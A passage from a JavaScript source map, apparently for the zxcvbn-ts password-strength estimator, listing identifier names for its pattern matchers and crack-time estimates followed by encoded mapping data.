","bruteforce","bruteforceMatcher","date","dateMatcher","dictionaryMatcher","regexMatcher","repeat","repeatMatcher","sequence","sequenceMatcher","spatial","spatialMatcher","getScoring","scoring","extraData","estimationResult","matchGuesses","guessesLog10","scoringHelper","optimal","excludeAdditive","fillArray","size","valueType","value","makeBruteforceMatch","update","sequenceLength","estimatedMatch","estimateGuesses","pi","shouldSkip","competingPatternLength","competingMetricMatch","bruteforceUpdate","passwordCharIndex","lastMatch","unwind","optimalMatchSequence","candidateSequenceLength","candidateMetricMatch","unshift","mostGuessableMatchSequence","matchesByCoordinateJ","optimalSequenceLength","getGuesses","MatchRepeat","omniMatch","greedyMatch","getGreedyMatch","lazyMatch","getLazyMatch","baseToken","setMatchToken","getBaseGuesses","normalizeMatch","hasPromises","some","Promise","all","baseMatch","then","resolvedBaseGuesses","greedy","lazy","lazyAnchored","resolvedMatches","baseAnalysis","MatchSequence","MAX_DELTA","lastDelta","delta","absoluteDelta","sequenceName","sequenceSpace","getSequence","test","MatchSpatial","SHIFTED_RX","graphName","helper","checkIfShifted","lastDirection","prevChar","adjacents","foundDirection","curDirection","curChar","adjacentsLength","adjacent","adjacentIndex","Matching","promises","Matcher","usedMatcher","response","resolve","SECOND","MINUTE","HOUR","DAY","MONTH","YEAR","CENTURY","times","century","TimeEstimates","displayStr","estimateAttackTimes","crackTimesSeconds","onlineThrottling100PerHour","onlineNoThrottling10PerSecond","offlineSlowHashing1e4PerSecond","offlineFastHashing1e10PerSecond","crackTimesDisplay","scenario","displayTime","guessesToScore","DELTA","base","timeKeys","foundIndex","findIndex","time","warning","getDictionaryWarningPassword","isSoleMatch","getDictionaryWarningWikipedia","getDictionaryWarningNames","getDictionaryWarning","dictName","isAName","defaultFeedback","Feedback","setDefaultSuggestions","getFeedback","extraFeedback","longestMatch","getLongestMatch","feedback","getMatchFeedback","slicedSequence","func","wait","isImmediate","timeout","debounce","args","context","later","shouldCallNow","clearTimeout","setTimeout","getTime","createReturnValue","timeEstimates","matchSequence","calcTime","attackTimes","main","matching","zxcvbn","zxcvbnAsync"],"mappings":"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